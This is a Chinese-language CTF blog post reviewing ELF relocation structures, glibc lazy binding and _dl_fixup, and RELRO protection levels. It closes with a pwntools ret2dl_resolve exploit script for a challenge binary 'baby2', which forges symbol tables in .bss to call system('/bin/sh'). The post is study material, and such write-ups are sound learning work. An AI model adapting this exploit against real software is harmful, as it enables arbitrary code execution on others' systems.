Relro_Review

长久没做.忘完了..复习一下…

Outset

周末的时候忙里偷闲做了一下2k19的一个比赛里面有binary的都比较简单..没binary的比较懒没去看..但是有道题做不出来…baby2.
比完之后看了wp发现使用_dl_runtime_resolve之前有做过当时搞懂了但是复现的时候发现自己一脑茫然…还是重学一遍…长久不用就忘记了.

winesap_社课比较长比较详细…没时间的我打算自己通过源码复习…

Struct

https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/elf.h

主要涉及两个结构体
这里摘录一下

32

#Elf32_Rel size=0x8

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typedef struct elf32_rel {
Elf32_Addr r_offset;//got
Elf32_Word r_info;//idx
} Elf32_Rel;

#Elf32_Rela size=0xc

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typedef struct elf32_rela{
Elf32_Addr r_offset;//got
Elf32_Word r_info;//idx
Elf32_Sword r_addend;
} Elf32_Rela;

#Elf32_Sym size=0x18

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typedef struct elf32_sym{
Elf32_Word st_name;//offset
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Half st_shndx;
} Elf32_Sym;

64

#Elf64_Rel size=0x10

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typedef struct elf64_rel {
Elf64_Addr r_offset; /* Location at which to apply the action */
Elf64_Xword r_info; /* index and type of relocation */
} Elf64_Rel;

#Elf64_Rela size=0x18

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typedef struct elf64_rela {
Elf64_Addr r_offset; /* Location at which to apply the action */
Elf64_Xword r_info; /* index and type of relocation */
Elf64_Sxword r_addend; /* Constant addend used to compute value */
} Elf64_Rela;

#Elf64_Sym size=0x30

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typedef struct elf64_sym {
Elf64_Word st_name; /* Symbol name, index in string tbl */
unsigned char st_info; /* Type and binding attributes */
unsigned char st_other; /* No defined meaning, 0 */
Elf64_Half st_shndx; /* Associated section index */
Elf64_Addr st_value; /* Value of the symbol */
Elf64_Xword st_size; /* Associated symbol size */
} Elf64_Sym;

Lazy_Binding

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Call FuncA.plt
|
v
Jump [FuncA.GOT]
|
V
push idx;jump Plt0
|
V
push link_map;jump _dl_runtime_resolve
|
V
call _dl_fixup
|
V
call _dl_lookup_symbol_x

主要实现由idx到真实地址的转换的函数是_dl_fixup()

_dl_fixup

https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#59

talk is cheap 我们先来看_dl_fixup的源码
(以下纯属自己分析…如有谬误请一定指正,不胜感激)

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_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获得STMTAB地址

const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//获得STRTAB地址

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//获得Elf_rel地址

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//获得ELF_sym地址
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
//获得GOT结构体地址
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
//某些检查
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
//下面部分通过在libc中search "string" 获得real_address
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

整个函数简略的流程:

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1.获得DynStr,DynSym,DynRel地址
2.传入的rel_arg 在Rel 中找到Elf_Rel结构体
3.通过Elf_Rel得到got地址和Elf_Sym的地址
4.通过Elf_Sym获得Str表的offset从而获得String
5.通过_dl_lookup_symbol_x得到真实地址

Relro

relro 是一种用于加强对 binary 数据段的保护的技术。relro 保护分为 partial relro 和 full relro.gcc的默认是开partial.这篇论文中涉及了对3种程度保护(加上无保护)的理论上的攻击方法.

没有仔细去阅读源码只有经验上的认识

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No Relro: DnyStr,DnySym 是可以写的
Partial Reloro: 不可以写上述表但是可以通过伪造Idx攻击
Full Relro: Got不可改写

Partial

binary

过程比较简单不作说明

感觉平时用的少了导致我一直没想到用这个方法…
往pwnable.tw gets 那题的方法走了…走歪了
DL_resolver 适用于没有泄露时.

exp

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from pwn import *
#context.log_level='debug'
got=0x804a00c
read=0x8048330
rbp=0x0804850b
ppp=0x08048509
ret=0x080482fa
bss=0x0804a800
tmp=0xf75d8000+0x3ac62
plt0=0x8048320
strtab=0x8048240
dynsym=0x80481d0
dynrel=0x80482d8
p2=flat(
[got,0x07+(((bss+0x10-dynsym)/0x10)<<8)],0xdeadbeef,0xdeadbeef,# DYN_REL & ALAIGN
[bss+0x28-strtab,0x12,0,0,0,0],#DYNSYM
)+"system\x00\x00"+"/bin/sh\x00"#DYNSTR
context.arch='i386'
while(1):
p=process("./baby2")
#gdb.attach(p,'b *0x80484ae')
payload=p32(ret)*2+p32(read)+p32(ppp)+p32(0)+p32(bss)+p32(0x123)+p32(plt0)+p32((bss-dynrel))+p32(bss+0x30)*2
payload=payload.ljust(0x2c,'\x00')
payload+='\x00'
p.send(payload)
sleep(0.3)
#raw_input()
try:
p.send(p2)
p.interactive()
except Exception:
p.close()

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Author: n132!
Link: https://n132.github.io/2019/03/27/2019-03-27-Relro-Review/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.